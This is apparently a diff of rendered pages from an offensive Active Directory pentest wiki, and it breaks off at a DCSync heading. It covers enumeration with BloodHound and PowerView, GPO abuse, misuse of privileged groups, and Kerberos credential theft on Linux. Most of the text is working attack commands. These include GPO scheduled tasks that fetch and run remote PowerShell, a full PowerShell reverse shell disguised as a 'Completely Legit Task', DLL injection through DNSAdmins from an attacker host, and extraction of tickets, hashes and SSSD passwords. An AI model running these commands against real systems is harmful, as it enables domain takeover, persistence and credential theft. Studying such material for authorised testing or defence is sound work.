    Use BloodHoundAD/SharpHound.exe - run the collector on the machine using SharpHound.exe + 

    .\SharpHound.exe -c all -d active.htb --searchforest
+.\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
+.\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)
+
+.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
+.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100 -d active.htb
+
+.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\Windows\Temp --prettyprint --randomfilenames --collectallproperties --throttle 10000 --jitter 23  --outputprefix internalallthething
+

    +
    • +
  • Use BloodHoundAD/SharpHound.ps1 - run the collector on the machine using Powershell + 
    Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
+Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
+
    • +
  • Use ly4k/Certipy to collect certificates data + 
    certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
+certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
+certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
+
    • +
  • Use NH-RED-TEAM/RustHound + 
    # Windows with GSSAPI session
+rusthound.exe -d domain.local --ldapfqdn domain
+# Windows/Linux simple bind connection username:password
+rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
+# Linux with username:password and ADCS module for @ly4k BloodHound version
+rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z
+
    • +
  • Use FalconForceTeam/SOAPHound + 
    --buildcache: Only build cache and not perform further actions
+--bhdump: Dump BloodHound data
+--certdump: Dump AD Certificate Services (ADCS) data
+--dnsdump: Dump AD Integrated DNS data
+
+SOAPHound.exe --buildcache -c c:\temp\cache.txt
+SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output
+SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000
+SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output
+SOAPHound.exe --dnsdump -o c:\temp\dns-output
+
    • +
  • Use fox-it/BloodHound.py + 
    pip install bloodhound
+bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
+
    • +
  • Use c3c/ADExplorerSnapshot.py to query data from SysInternals/ADExplorer snapshot (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions). + 
    ADExplorerSnapshot.py <snapshot path> -o <*.json output folder path>
+
    • +
+

Then import the zip/json files into the Neo4J database and query them.

+
root@payload$ apt install bloodhound 
+
+# start BloodHound and the database
+root@payload$ neo4j console
+# or use docker
+root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community
+
+root@payload$ ./bloodhound --no-sandbox
+Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
+
+

NOTE: Currently BloodHound Community Edition is still a work in progress, it is highly recommended to stay on the original BloodHoundAD/BloodHound version.

+
git clone https://github.com/SpecterOps/BloodHound
+cd examples/docker-compose/
+cat docker-compose.yml | docker compose -f - up
+# UI: http://localhost:8080/ui/login
+# Username: admin
+# Password: see your Docker logs
+
+

You can add some custom queries like :

+ +

Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.

+

Using PowerView

+
    +
  • Get Current Domain: Get-NetDomain
    • +
  • Enum Other Domains: Get-NetDomain -Domain <DomainName>
    • +
  • Get Domain SID: Get-DomainSID
    • +
  • Get Domain Policy: + 
    Get-DomainPolicy
+
+#Will show us the policy configurations of the Domain about system access or kerberos
+(Get-DomainPolicy)."system access"
+(Get-DomainPolicy)."kerberos policy"
+
    • +
  • Get Domain Controlers: + 
    Get-NetDomainController
+Get-NetDomainController -Domain <DomainName>
+
    • +
  • Enumerate Domain Users: + 
    Get-NetUser
+Get-NetUser -SamAccountName <user> 
+Get-NetUser | select cn
+Get-UserProperty
+
+#Check last password change
+Get-UserProperty -Properties pwdlastset
+
+#Get a specific "string" on a user's attribute
+Find-UserField -SearchField Description -SearchTerm "wtver"
+
+#Enumerate user logged on a machine
+Get-NetLoggedon -ComputerName <ComputerName>
+
+#Enumerate Session Information for a machine
+Get-NetSession -ComputerName <ComputerName>
+
+#Enumerate domain machines of the current/specified domain where specific users are logged into
+Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
+
    • +
  • Enum Domain Computers: + 
    Get-NetComputer -FullData
+Get-DomainGroup
+
+#Enumerate Live machines 
+Get-NetComputer -Ping
+
    • +
  • Enum Groups and Group Members: + 
    Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
+
+#Enumerate the members of a specified group of the domain
+Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
+
+#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
+Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
+
    • +
  • Enumerate Shares + 
    #Enumerate Domain Shares
+Find-DomainShare
+
+#Enumerate Domain Shares the current user has access
+Find-DomainShare -CheckShareAccess
+
    • +
  • Enum Group Policies: + 
    Get-NetGPO
+
+# Shows active Policy on specified machine
+Get-NetGPO -ComputerName <Name of the PC>
+Get-NetGPOGroup
+
+#Get users that are part of a Machine's local Admin group
+Find-GPOComputerAdmin -ComputerName <ComputerName>
+
    • +
  • Enum OUs: + 
    Get-NetOU -FullData 
+Get-NetGPO -GPOname <The GUID of the GPO>
+
    • +
  • Enum ACLs: + 
    # Returns the ACLs associated with the specified account
+Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
+Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
+
+#Search for interesting ACEs
+Invoke-ACLScanner -ResolveGUIDs
+
+#Check the ACLs associated with a specified path (e.g smb share)
+Get-PathAcl -Path "\\Path\Of\A\Share"
+
    • +
  • Enum Domain Trust: + 
    Get-NetDomainTrust
+Get-NetDomainTrust -Domain <DomainName>
+
    • +
  • Enum Forest Trust: + 
    Get-NetForestDomain
+Get-NetForestDomain Forest <ForestName>
+
+#Domains of Forest Enumeration
+Get-NetForestDomain
+Get-NetForestDomain Forest <ForestName>
+
+#Map the Trust of the Forest
+Get-NetForestTrust
+Get-NetDomainTrust -Forest <ForestName>
+
    • +
  • User Hunting: + 
    #Finds all machines on the current domain where the current user has local admin access
+Find-LocalAdminAccess -Verbose
+
+#Find local admins on all machines of the domain:
+Invoke-EnumerateLocalAdmin -Verbose
+
+#Find computers were a Domain Admin OR a specified user has a session
+Invoke-UserHunter
+Invoke-UserHunter -GroupName "RDPUsers"
+Invoke-UserHunter -Stealth
+
+#Confirming admin access:
+Invoke-UserHunter -CheckAccess
+
    • +
+

Using AD Module

+
    +
  • Get Current Domain: Get-ADDomain
    • +
  • Enum Other Domains: Get-ADDomain -Identity <Domain>
    • +
  • Get Domain SID: Get-DomainSID
    • +
  • Get Domain Controlers:
    • +
+
Get-ADDomainController
+Get-ADDomainController -Identity <DomainName>
+
+
    +
  • Enumerate Domain Users: + 
    Get-ADUser -Filter * -Identity <user> -Properties *
+
+#Get a specific "string" on a user's attribute
+Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
+
    • +
  • Enum Domain Computers: + 
    Get-ADComputer -Filter * -Properties *
+Get-ADGroup -Filter * 
+
    • +
  • Enum Domain Trust: + 
    Get-ADTrust -Filter *
+Get-ADTrust -Identity <DomainName>
+
    • +
  • Enum Forest Trust: + 
    Get-ADForest
+Get-ADForest -Identity <ForestName>
+
+#Domains of Forest Enumeration
+(Get-ADForest).Domains
+
    • +
  • Enum Local AppLocker Effective Policy: + 
    Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
+
    • +
+

User Hunting

+

Sometimes you need to find a machine where a specific user is logged in.
+You can remotely query every machines on the network to get a list of the users's sessions.

+
    +
  • netexec + 
    nxc smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions
+SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  [+] Enumerated sessions
+SMB         10.10.10.10    445    WIN-8OJFTLMU1IG  \\10.10.10.10            User:Administrator
+
    • +
  • Impacket Smbclient + 
    $ impacket-smbclient Administrator@10.10.10.10
+# who
+host:  \\10.10.10.10, user: Administrator, active:     1, idle:     0
+
    • +
  • PowerView Invoke-UserHunter + 
    # Find computers were a Domain Admin OR a specified user has a session
+Invoke-UserHunter
+Invoke-UserHunter -GroupName "RDPUsers"
+Invoke-UserHunter -Stealth
+
    • +
+

RID cycling

+

Enumerate users from the Domain Controllers.

+
    +
  • +

    Using netexec + 

    netexec smb 10.10.11.231 -u guest -p '' --rid-brute 10000 --log rid-brute.txt
+SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
+SMB         10.10.11.231    445    DC01             [+] rebound.htb\guest: 
+SMB         10.10.11.231    445    DC01             498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
+SMB         10.10.11.231    445    DC01             500: rebound\Administrator (SidTypeUser)
+SMB         10.10.11.231    445    DC01             501: rebound\Guest (SidTypeUser)
+SMB         10.10.11.231    445    DC01             502: rebound\krbtgt (SidTypeUser)
+

    +
    • +
  • +

    Using Impacket script lookupsid.py + 

    lookupsid.py -no-pass 'guest@rebound.htb' 20000
+

    +
    • +
+

Other Interesting Commands

+
    +
  • Find Domain Controllers + 
    nslookup domain.com
+nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
+nltest /dclist:domain.com
+Get-ADDomainController -filter * | Select-Object name
+gpresult /r
+$Env:LOGONSERVER 
+echo %LOGONSERVER%
+
    • +
+

References

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Active Directory - Group Policy Objects

+
+

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

+
+

🚩 GPO Priorization : Organization Unit > Domain > Site > Local

+

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. +If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

+

⚠ Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: gpupdate /force.

+

Find vulnerable GPO

+

Look a GPLink where you have the Write right.

+
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
+
+

Abuse GPO with SharpGPOAbuse

+
# Build and configure SharpGPOAbuse
+$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
+$ Install-Package CommandLineParser -Version 1.9.3.15
+$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll
+
+# Adding User Rights
+.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
+
+# Adding a Local Admin
+.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
+
+# Configuring a User or Computer Logon Script
+.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
+
+# Configuring a Computer or User Immediate Task
+# /!\ Intended to "run once" per GPO refresh, not run once per system
+.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
+.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
+
+

Abuse GPO with PowerGPOAbuse

+
    +
  • https://github.com/rootSySdk/PowerGPOAbuse
    • +
+
PS> . .\PowerGPOAbuse.ps1
+
+# Adding a localadmin 
+PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
+
+# Assign a new right 
+PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
+
+# Adding a New Computer/User script 
+PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
+
+# Create an immediate task 
+PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'
+
+

Abuse GPO with pyGPOAbuse

+
$ git clone https://github.com/Hackndo/pyGPOAbuse
+
+# Add john user to local administrators group (Password: H4x00r123..)
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
+
+# Reverse shell example
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
+    -powershell \ 
+    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
+    -taskname "Completely Legit Task" \
+    -description "Dis is legit, pliz no delete" \ 
+    -user
+
+

Abuse GPO with PowerView

+
# Enumerate GPO
+Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
+
+# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
+New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
+
+

Abuse GPO with StandIn

+
# Add a local administrator
+StandIn.exe --gpo --filter Shards --localadmin user002
+
+# Set custom right to a user
+StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
+
+# Execute a custom command
+StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
+
+

References

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Active Directory - Groups

+

Dangerous Built-in Groups Usage

+

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set "dminCount attribute to 0 for the required object.

+
+

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

+
+

Find users with AdminCount=1.

+
netexec ldap 10.10.10.10 -u username -p password --admin-count
+# or
+bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get search --filter '(admincount=1)' --attr sAMAccountName
+# or
+python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
+jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
+# or
+Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
+Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
+# or
+([adsisearcher]"(AdminCount=1)").findall()
+
+

AdminSDHolder Attribute

+
+

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

+
+

If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour). +E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group. +* Windows/Linux: + 

bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 add genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
+
+# Clean up after
+bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 remove genericAll 'CN=AdminSDHolder,CN=System,DC=example,DC=lab' john
+
+* Windows only: + 
# Add a user to the AdminSDHolder group:
+Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
+
+# Right to reset password for toto using the account titi
+Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
+
+# Give all rights
+Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
+

+

DNS Admins Group

+
+

It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

+
+

⚠ Require privileges to restart the DNS service.

+
    +
  • Enumerate members of DNSAdmins group
    • +
  • Windows/Linux: + 
    bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object DNSAdmins --attr msds-memberTransitive
+
    • +
  • Windows only: + 
    Get-NetGroupMember -GroupName "DNSAdmins"
+Get-ADGroupMember -Identity DNSAdmins
+
    • +
  • Change dll loaded by the DNS service + 
    # with RSAT
+dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
+dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll
+
+# with DNSServer module
+$dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
+$dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
+Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
+
    • +
  • Check the previous command success + 
    Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
+
    • +
  • Restart DNS + 
    sc \\dc01 stop dns
+sc \\dc01 start dns
+
    • +
+

Schema Admins Group

+
+

The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.

+
+

Backup Operators Group

+
+

Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.

+
+

This groups grants the following privileges : +- SeBackup privileges +- SeRestore privileges

+
    +
  • Get members of the group:
    • +
  • Windows/Linux: + 
    bloodyAD --host 10.10.10.10 -d example.lab -u john -p pass123 get object "Backup Operators" --attr msds-memberTransitive
+
    • +
  • Windows only: + 
    PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
+
    • +
  • Enable privileges using giuliano108/SeBackupPrivilege + 
    Import-Module .\SeBackupPrivilegeUtils.dll
+Import-Module .\SeBackupPrivilegeCmdLets.dll
+
+Set-SeBackupPrivilege
+Get-SeBackupPrivilege
+
    • +
  • Retrieve sensitive files + 
    Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
+
    • +
  • Retrieve content of AutoLogon in the HKLM\SOFTWARE hive + 
    $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
+$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
+$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}
+
    • +
  • Retrieve SAM,SECURITY and SYSTEM hives
    • +
  • mpgn/BackupOperatorToDA: .\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\
    • +
  • improsec/BackupOperatorToolkit: .\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
    • +
+

References

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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/ad-adds-linux/index.html b/active-directory/ad-adds-linux/index.html new file mode 100644 index 0000000..13ed529 --- /dev/null +++ b/active-directory/ad-adds-linux/index.html @@ -0,0 +1,4357 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Active Directory - Linux - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Active Directory - Linux

+

CCACHE ticket reuse from /tmp

+
+

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

+
+

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.

+
$ ls /tmp/ | grep krb5cc
+krb5cc_1000
+krb5cc_1569901113
+krb5cc_1569901115
+
+$ export KRB5CCNAME=/tmp/krb5cc_1569901115
+
+

CCACHE ticket reuse from keyring

+

Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey

+
# Configuration and build
+git clone https://github.com/TarlogicSecurity/tickey
+cd tickey/tickey
+make CONF=Release
+
+[root@Lab-LSV01 /]# /tmp/tickey -i
+[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
+[+] root detected, so... DUMP ALL THE TICKETS!!
+[*] Trying to inject in tarlogic[1000] session...
+[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
+[*] Trying to inject in velociraptor[1120601115] session...
+[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
+[*] Trying to inject in trex[1120601113] session...
+[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
+[X] [uid:0] Error retrieving tickets
+
+

CCACHE ticket reuse from SSSD KCM

+

System Security Services Daemon (SSSD) maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. +The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. +By default, the key is only readable if you have root permissions.

+

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.

+
git clone https://github.com/fireeye/SSSDKCMExtractor
+python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
+
+

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

+

CCACHE ticket reuse from keytab

+
git clone https://github.com/its-a-feature/KeytabParser
+python KeytabParser.py /etc/krb5.keytab
+klist -k /etc/krb5.keytab
+
+

Extract accounts from /etc/krb5.keytab

+

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

+

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

+
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
+[...]
+[26] Service principal: host/COMPUTER@DOMAIN
+     KVNO: 25
+     Key type: 23
+     Key: 31d6cfe0d16ae931b73c59d7e0c089c0
+     Time stamp: Oct 07,  2019 09:12:02
+[...]
+
+

On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.

+
$ python3 keytabextract.py krb5.keytab 
+[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
+[+] Keytab File successfully imported.
+        REALM : DOMAIN
+        SERVICE PRINCIPAL : host/computer.domain
+        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
+
+

On macOS you can use bifrost.

+
./bifrost -action dump -source keytab -path test
+
+

Connect to the machine using the account and the hash with CME.

+
$ netexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
+         10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  
+
+

Extract accounts from /etc/sssd/sssd.conf

+
+

sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf

+
+

The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".

+
[sssd]
+config_file_version = 2
+...
+[domain/LDAP]
+...
+ldap_uri = ldap://127.0.0.1
+ldap_search_base = ou=People,dc=srv,dc=world
+ldap_default_authtok_type = obfuscated_password
+ldap_default_authtok = [BASE64_ENCODED_TOKEN]
+
+

De-obfuscate the content of the ldap_default_authtok variable with mludvig/sss_deobfuscate

+
./sss_deobfuscate [ldap_default_authtok_base64_encoded]
+./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
+
+

Extract accounts from SSSD keyring

+

Requirements:

+
    +
  • krb5_store_password_if_offline = True in /etc/sssd/sssd.conf
    • +
+

Exploit:

+

When krb5_store_password_if_offline is enabled, the AD password is stored plaintext.

+
[domain/domain.local]
+cache_credentials = True
+ipa_domain = domain.local
+id_provider = ipa
+auth_provider = ipa
+access_provider = ipa
+chpass_provider = ipa
+ipa_server = _srv_, server.domain.local
+krb5_store_password_if_offline = true
+
+

Grab the PID of the SSSD process and hook it in gdb. Then list the process keyrings.

+
gdb -p <PID_OF_SSSD>
+call system("keyctl show > /tmp/output")
+
+

From the /tmp/output locate the key_id for the user you want.

+
Session Keyring
+ 237034099 --alswrv      0     0  keyring: _ses
+ 689325199 --alswrv      0     0   \_ user: user@domain.local
+
+

Back to GDB:

+
call system("keyctl print 689325199 > /tmp/output")
+
+

References

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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/ad-adds-machineaccountquota/index.html b/active-directory/ad-adds-machineaccountquota/index.html new file mode 100644 index 0000000..9a69952 --- /dev/null +++ b/active-directory/ad-adds-machineaccountquota/index.html @@ -0,0 +1,4168 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Active Directory - Machine Account Quota - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Active Directory - Machine Account Quota

+

In Active Directory (AD), the MachineAccountQuota is a limit set on how many computer accounts a specific user or group can create in the domain.

+

When a user attempts to create a new computer account, AD checks the current number of computer accounts that the user has already created against the defined quota for that user or group.

+

However, Active Directory does not store the current count of created machine accounts directly in a user attribute. Instead, you would need to perform a query to count the machine accounts that were created by a specific user.

+

Machine Account Quota Process

+
    +
  1. +

    Quota Definition: The MachineAccountQuota is defined at the domain level and can be set for individual users or groups. By default, it is set to 10 for the "Domain Admins" group and to 0 for standard users, limiting their capability to create computer accounts.

    +
    nxc ldap <ip> -u user -p pass -M maq
+
    +
    2. +
  2. +

    Creation Process: When a user attempts to create a new computer account (for example, by using the "Add Computer" option in Active Directory Users and Computers or via PowerShell), the account creation request is made to the domain controllers (DCs).

    +
    impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
+
    +
    3. +
  3. +

    Quota Evaluation: Before the account is created, Active Directory checks the current count of computer accounts created by that user. This is done by querying the msDS-CreatorSID attribute, which holds the SID of the user who created that object. +The system compares this count to the MachineAccountQuota value set for that user. If the count is less than the quota, the creation proceeds; if it equals or exceeds the quota, the creation is denied, and an error is returned.

    +
    # Replace DOMAIN\username with the actual domain and user name
+$user = "DOMAIN\username"
+
+# Get the user's SID
+$userSID = (Get-ADUser -Identity $user).SID
+
+# Count the number of computer accounts created by this user
+$computerCount = (Get-ADComputer -Filter { msDS-CreatorSID -eq $userSID }).Count
+
+# Display the count
+$computerCount
+
    +
    4. +
  4. +

    Failure Handling:

    +
      +
    • If the quota is exceeded, the user attempting to create the account will receive an error message indicating that they cannot create a new computer account because they have reached their quota limit.
      • +
    +
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Active Directory - NTDS Dumping

+

You will need the following files to extract the ntds : +- NTDS.dit file +- SYSTEM hive (C:\Windows\System32\SYSTEM)

+

Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit.

+
    +
  • systemroot\NTDS\ntds.dit stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
    • +
  • systemroot\System32\ntds.dit is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
    • +
+

However you can change the location to a custom one, you will need to query the registry to get the current location.

+
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
+
+

DCSync Attack

+

